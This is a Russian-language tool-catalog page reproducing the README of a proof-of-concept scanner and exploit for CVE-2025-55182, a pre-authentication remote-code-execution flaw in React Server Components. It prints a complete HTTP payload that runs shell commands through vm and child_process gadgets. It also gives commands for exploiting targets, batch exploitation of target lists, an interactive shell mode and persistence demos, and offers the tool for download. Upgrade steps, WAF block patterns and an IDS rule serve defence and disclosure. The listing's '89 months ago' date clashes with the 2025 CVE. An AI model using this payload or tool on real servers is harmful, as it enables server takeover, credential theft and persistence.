Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-55182-POC-SCANNER — Единый инструмент для исследования безопасности | Kitploit
Инструменты/GitHubGitHub/im-hanzou/cve-2025-55182-poc-scanner
РазведкаСканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеСтатьи и ИсследованияОбучение и ОбразованиеRed TeamingРазработка Полезной Нагрузки

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
GitHubim-hanzou/cve-2025-55182-poc-scanner

CVE-2025-55182-POC-SCANNER

Единый инструмент для исследования безопасности

Репозиторий
89 месяцев назадЕщё не проверено
Поделиться

CVE-2025-55182: Critical Pre-Authentication RCE in React Server Components

CVE-2025-55182 CVSS 10.0 Affected React Versions Affected Next.js Versions

Security Research by schema.cx
"Control is an illusion. It's the systems we build that control us—unless we understand them first."


📋 Содержание

  • Отказ от ответственности и правовая информация
  • Краткое резюме
  • Техническое описание
  • Затронутые системы
  • Доказательство концепции
  • Оценка воздействия
  • Смягчение и устранение
  • График ответственного раскрытия
  • Ссылки
  • Атрибуция

⚠️ Отказ от ответственности и правовая информация

ДАННЫЙ ИНСТРУМЕНТ ПРЕДНАЗНАЧЕН ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ

СТОП. ПРОЧТИТЕ ЭТО ПЕРЕД ПРОДОЛЖЕНИЕМ.

Этот репозиторий содержит код доказательства концепции для критической уязвимости безопасности. Получая доступ, загружая или используя любые материалы из этого репозитория, вы подтверждаете и соглашаетесь со следующим:

Правовые требования

  1. Необходимо письменное разрешение: Вы ДОЛЖНЫ иметь явное письменное разрешение от владельца системы перед проведением любого тестирования безопасности. Устные соглашения недостаточны.

  2. Ограничения области действия: Тестирование должно быть ограничено системами, явно указанными в вашем разрешении. «Расширение области» не допускается.

  3. Применимые законы: Несанкционированный доступ к компьютерным системам нарушает:

    • США: Закон о компьютерном мошенничестве и злоупотреблениях (CFAA), 18 U.S.C. § 1030
    • Европейский Союз: Директива 2013/40/EU об атаках на информационные системы
    • Великобритания: Закон о компьютерных злоупотреблениях 1990 года
    • Австралия: Уголовный кодекс 1995 года, разделы 477-478
    • Другие юрисдикции: Аналогичные законы о компьютерных преступлениях действуют во всем мире

Отказ от ответственности

АВТОРЫ И УЧАСТНИКИ ЭТОГО РЕПОЗИТОРИЯ:

  • НЕ несут ответственности за неправильное использование этого инструмента
  • НЕ предоставляют никаких гарантий, явных или подразумеваемых
  • НЕ несут ответственности за любой ущерб, возникший в результате использования или невозможности использования данного программного обеспечения
  • НЕ поддерживают незаконные действия любого рода

Этические принципы

  • Никогда не тестируйте без разрешения — даже если вы «просто хотите проверить»
  • Документируйте всё — ведите подробные журналы всех действий по тестированию
  • Минимизируйте воздействие — используйте наименее инвазивные методы
  • Сообщайте ответственно — следуйте практике координированного раскрытия
  • Уважайте конфиденциальность — не извлекайте и не храните конфиденциальные данные

"The question isn't whether we can exploit the vulnerability. It's whether we should, and for what purpose."


📊 Краткое резюме

CVE-2025-55182 — это критическая уязвимость удаленного выполнения кода (RCE) без предварительной аутентификации, затрагивающая React Server Components в приложениях React 19.x и Next.js 15.x-16.x.

Бизнес-влияние

Эта уязвимость позволяет любому неаутентифицированному злоумышленнику с сетевым доступом к уязвимому приложению выполнять произвольные команды на сервере. Атака не требует учетных данных, взаимодействия с пользователем и может быть полностью автоматизирована. Успешная эксплуатация приводит к:

  • Полной компрометации сервера — злоумышленники получают полный контроль над базовой системой
  • Потенциальной утечке данных — доступ к базам данных, переменным окружения, секретам и пользовательским данным
  • Латеральному перемещению — скомпрометированные серверы могут быть использованы для атак на внутренние сети
  • Риску для цепочки поставок — могут быть затронуты производственные системы, обслуживающие миллионы пользователей

Оценка серьезности

"People trust systems because they don't understand them. That trust is a vulnerability."


🔬 Техническое описание

Анализ первопричины

Уязвимость существует в реализации протокола Flight от React в функции requireModule. Эта функция использует скобочную нотацию для доступа к экспортам модуля на основе входных данных, контролируемых пользователем, без проверки того, является ли запрашиваемое свойство собственным свойством модуля.

Местоположение уязвимого кода:

root@kitploit:~
react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
Функция: requireModule (примерно строки 2546-2558 в v19.0.0)

Уязвимый шаблон:

root@kitploit:~
function requireModule(metadata) {
  var moduleExports = __webpack_require__(metadata[0]);
  // ... async handling ...
  return moduleExports[metadata[2]];  // ← УЯЗВИМО: Отсутствует проверка hasOwnProperty
}

Механизм эксплуатации

Атака использует обход цепочки прототипов JavaScript:

  1. Точка входа: Злоумышленник отправляет вредоносный multipart form-запрос к конечной точке Server Action
  2. Внедрение полезной нагрузки: Поле $ACTION_0:0 содержит JSON с контролируемыми злоумышленником свойствами id (формат модуль#экспорт) и bound (аргументы)
  3. Доступ к прототипу: Указывая такие экспорты, как constructor, или обращаясь к свойствам прототипа, злоумышленники могут ссылаться на встроенные модули Node.js
  4. Гаджеты RCE: Функции, такие как vm.runInThisContext, child_process.execSync или fs.readFileSync, выполняются с аргументами, предоставленными злоумышленником

Вектор атаки

root@kitploit:~
HTTP POST /formaction
    ↓
decodeAction(formData, serverManifest)
    ↓
loadServerReference(manifest, value.id, value.bound)
    ↓
resolveServerReference(config, id)  // Разбирает формат "module#export"
    ↓
requireModule(metadata)
    ↓
moduleExports[metadata[2]]  // Доступ к цепочке прототипов → RCE

Структура полезной нагрузки

root@kitploit:~
POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"

------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--

Доступные гаджеты RCE

"Every system has a door. The question is whether you built the lock yourself—or inherited it from someone who never expected visitors."


🎯 Затронутые системы

Уязвимые версии

ПродуктУязвимые версииИсправленные версии
React19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1+, 19.1.2+, 19.2.1+
Next.js15.x, 16.x (использует уязвимый React)Версии с исправленным React

Предварительные условия для эксплуатации

  1. Включены React Server Components: Приложение использует RSC с Server Actions
  2. Уязвимая версия React: Используется одна из затронутых версий
  3. Сетевой доступ: Злоумышленник может достичь конечных точек Server Action
  4. Опасные модули в бандле: Для прямого RCE модули vm, child_process или fs должны быть в бандле webpack

Требования к платформе

  • Среда выполнения: Node.js (любая версия, поддерживающая React 19)
  • Фреймворк: Маршрутизатор приложений Next.js или пользовательская реализация RSC
  • Не требуется дополнительной конфигурации для уязвимости

Вероятность опасных модулей


🔧 Доказательство концепции

Инструмент сканера

Этот репозиторий включает в себя комплексный сканер безопасности на Python с несколькими режимами работы.

Структура репозитория

root@kitploit:~
CVE-2025-55182-poc/
├── README.md                    # Этот файл
├── scanner/
│   ├── __init__.py             # Инициализация пакета Python
│   ├── scanner.py              # Главный унифицированный сканер (6 режимов)
│   ├── readme.md               # Подробная документация сканера
│   ├── requirements.txt        # Зависимости Python
│   └── docs/
│       ├── TECHNICAL-ANALYSIS.md    # Глубокое погружение в уязвимость
│       └── VULNERABLE-PACKAGES.md   # Версии затронутых пакетов

Установка:

root@kitploit:~
cd scanner
pip install -r requirements.txt

Примеры базового использования

Сканирование уязвимости:

root@kitploit:~
# Проверить, уязвима ли цель
python scanner.py scan https://target.com

Обнаружение гаджетов:

root@kitploit:~
# Определить доступные гаджеты RCE
python scanner.py exploit https://target.com --detect-gadgets

Выполнение команды (с авторизацией):

root@kitploit:~
# Выполнить команду на уязвимой цели
python scanner.py exploit https://target.com -c "whoami"

Пакетное тестирование:

root@kitploit:~
# Протестировать несколько целей из файла
python scanner.py batch -f targets.txt -o results.json

Автоматическое сканирование с проверкой:

root@kitploit:~
# Комплексное сканирование с проверкой эксплуатации
python scanner.py auto -f targets.txt -o report.txt

Ожидаемый вывод

Уязвимая цель:

root@kitploit:~
[+] УЯЗВИМ к CVE-2025-55182!
    Фреймворк: Next.js
    Версия: 15.1.0
    Уверенность: ВЫСОКАЯ
    
Доступные гаджеты:
  ✓ vm#runInThisContext
  ✓ child_process#execSync
  ✓ fs#readFileSync
  ✓ fs#writeFileSync

Исправленная цель:

root@kitploit:~
[-] Не уязвим или невозможно определить
    Обнаружен фреймворк: Next.js
    Версия: 15.2.0 (исправлено)

Режимы сканера

Возможности

  • Обнаружение фреймворка: Идентифицирует приложения Next.js/React перед эксплуатацией
  • Обнаружение WAF/CDN: Распознаёт Cloudflare, Akamai, Incapsula, AWS WAF, Azure WAF и другие
  • Множество гаджетов RCE: Пути эксплуатации vm, child_process, fs, module
  • Двухшаговое RCE: Альтернативная эксплуатация через fs#writeFileSync + module#_load
  • Верификация: Подтверждает эксплойты доказательством выполнения
  • Предотвращение ложных срабатываний: Умная фильтрация ответов HTML/WAF
  • Отчетность: Форматы вывода: текст, JSON и HTML

Полную документацию см. в scanner/readme.md.

"A tool is only as dangerous as the intent behind it. In the right hands, a weapon becomes a shield."


💥 Оценка воздействия

Влияние на конфиденциальность: ВЫСОКОЕ

  • Переменные окружения: Учетные данные базы данных, ключи API, секреты
  • Исходный код: Логика приложения, проприетарные алгоритмы
  • Пользовательские данные: Личная информация, токены аутентификации
  • Системные файлы: /etc/passwd, ключи SSH, облачные учетные данные
  • Внутренние сети: Точка опоры для дальнейших атак

Влияние на целостность: ВЫСОКОЕ

  • Инъекция кода: Бэкдоры в файлах приложения
  • Манипуляция данными: Модификации базы данных
  • Изменение конфигурации: Настройки безопасности, контроль доступа
  • Механизмы сохранения: Задачи cron, скрипты запуска, ключи SSH

Влияние на доступность: ВЫСОКОЕ

  • Нарушение обслуживания: Завершение процессов, истощение ресурсов
  • Уничтожение данных: Удаление файлов, дроп баз данных
  • Развертывание программ-вымогателей: Шифрование критических файлов
  • Полная компрометация системы: Полный административный контроль

Сценарии атак

  1. Утечка данных: Злоумышленник читает файлы .env, содержащие учетные данные базы данных, извлекает данные клиентов

  2. Установка криптомайнера: Злоумышленник записывает скрипт майнинга, добавляет задачу cron для сохранения

  3. Атака на цепочку поставок: Злоумышленник модифицирует исходный код в производственной среде, обслуживая вредоносный контент для пользователей

  4. Латеральное перемещение: Скомпрометированный сервер используется для атак на внутренние базы данных, API и сервисы

  5. Программа-вымогатель: Злоумышленник шифрует файлы приложения, требует оплату за ключи дешифрования


🛡️ Смягчение и устранение

Немедленные действия (Сделать сейчас)

  1. Немедленно обновить React

    root@kitploit:~
    npm update react react-dom react-server-dom-webpack
    

    Целевые версии: 19.0.1+, 19.1.2+ или 19.2.1+

  2. Проверить применение патча

    root@kitploit:~
    npm ls react
    

    Убедитесь, что в дереве зависимостей не осталось уязвимых версий

Правила WAF/Файрвола

Блокировать запросы, содержащие следующие шаблоны:

root@kitploit:~
# Шаблоны тела запроса для блокировки
#constructor
#__proto__
#prototype
vm#runInThisContext
vm#runInNewContext
child_process#execSync
child_process#execFileSync
child_process#spawnSync
module#_load
fs#readFileSync
fs#writeFileSync

Усиление конфигурации Next.js

Исключить опасные пакеты из бандлинга webpack:

root@kitploit:~
// next.config.js
module.exports = {
  serverExternalPackages: [
    'sharp',
    'puppeteer',
    'execa',
    'shelljs',
    'vm2'
  ]
}

Обнаружение и мониторинг

Шаблоны журналов для мониторинга:

  • Необычные поля $ACTION_REF_ или $ACTION_ID_ в теле запроса
  • POST-запросы к конечным точкам /api/* с данными multipart form, содержащими JSON
  • Сообщения об ошибках, ссылающиеся на constructor, prototype или неожиданный доступ к модулям

Сигнатуры обнаружения вторжений:

root@kitploit:~
alert http any any -> $HOME_NET any (
  msg:"Попытка эксплуатации CVE-2025-55182";
  content:"$ACTION_";
  content:"#constructor"; distance:0;
  sid:2025551820; rev:1;
)

Долгосрочные рекомендации

  1. Аудит зависимостей: Регулярные сканирования с помощью npm audit, Snyk или аналогичных инструментов
  2. Обновления безопасности: Автоматические обновления зависимостей через Dependabot или Renovate
  3. Проверка ввода: Никогда не доверяйте вводу пользователя в шаблонах доступа к свойствам
  4. Минимальные привилегии: Запускайте приложения с минимально необходимыми разрешениями
  5. Сегментация сети: Изолируйте производственные системы от внутренних сетей

"Patching isn't just about fixing what's broken. It's about closing the doors you didn't know were open."


📅 График ответственного раскрытия

Это раскрытие соответствует Руководству по раскрытию уязвимостей CERT/CC и стандартам ISO/IEC 29147:2018 для координированного раскрытия уязвимостей.


📚 Ссылки

Официальные ресурсы

  • Запись CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55182
  • Запись NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-55182

Уведомления вендора

  • Уведомления по безопасности React: https://github.com/facebook/react/security/advisories
  • Безопасность Next.js: https://nextjs.org/docs/security

Связанные исследования

  • Технический анализ (Глубокое погружение)
  • Анализ уязвимых пакетов

Дополнительное чтение

  • OWASP - Загрязнение прототипов
  • Безопасность модуля VM Node.js
  • RFC React Server Components

🏆 Атрибуция

Оригинальное исследование

Это доказательство концепции разработано командой исследователей безопасности schema.cx.

Репозиторий: https://github.com/ejpir/CVE-2025-55182-poc

Благодарности

Мы хотели бы поблагодарить:

  • Команды безопасности React и Next.js за быструю реакцию
  • Сообщество исследователей безопасности за совместный анализ
  • MITRE за координацию CVE

📜 Лицензия

Этот проект выпущен только для образовательных и авторизованных целей исследования безопасности.

Используя данное программное обеспечение, вы соглашаетесь:

  1. Использовать его только в системах, которые вам принадлежат или на тестирование которых у вас есть явное разрешение
  2. Следовать практике ответственного раскрытия
  3. Не использовать его в злонамеренных целях
  4. Принять всю ответственность за свои действия

"We don't hack to destroy. We hack to understand. And understanding is the first step to building something better."

schema.cx — Исследование безопасности для более безопасного цифрового мира

Скачать инструмент
МетрикаОценка
Базовая оценка CVSS v3.110.0 CRITICAL
Вектор атакиСеть
Сложность атакиНизкая
Необходимые привилегииНет
Взаимодействие с пользователемНет
Влияние (C/I/A)Высокое / Высокое / Высокое
ГаджетМодульОписаниеВоздействие
vm#runInThisContextvmВыполнить JS в текущем контекстеПрямое RCE
vm#runInNewContextvmВыполнить JS в песочнице (возможен выход)Прямое RCE
child_process#execSyncchild_processВыполнить команды оболочкиПрямое RCE
child_process#spawnSyncchild_processЗапустить процессыПрямое RCE
fs#readFileSyncfsЧтение произвольных файловЭксфильтрация данных
fs#writeFileSyncfsЗапись произвольных файловСохранение/Бэкдор
module#_loadmoduleЗагрузка JS-модулей (двухшаговое RCE)Непрямое RCE
МодульВероятность в бандлеРаспространенные источники
fsОчень высокаяfs-extra, gray-matter, multer, sharp, chokidar
child_processСредне-высокаяexeca, shelljs, puppeteer, sharp, генераторы PDF
vmНизко-средняяejs, pug, шаблонизаторы
moduleОчень низкаяtsx, ts-node (обычно только для CLI)
РежимНазначение
scanОбнаружение уязвимости и снятие отпечатков
exploitКонтролируемая эксплуатация с конкретными гаджетами
shellИнтерактивная командная оболочка на уязвимых целях
batchТестирование нескольких URL со статистикой
autoАвтоматическое сканирование множества целей с проверкой
persistДемонстрации атак сохранения (ключи SSH, учетные данные)
ДатаСобытие
ОбнаружениеИнформация ожидается
Уведомление вендораИнформация ожидается
Подтверждение вендораИнформация ожидается
Разработка патчаИнформация ожидается
Выпуск патчаReact 19.0.1, 19.1.2, 19.2.1
Публичное раскрытиеИнформация ожидается
Назначение CVECVE-2025-55182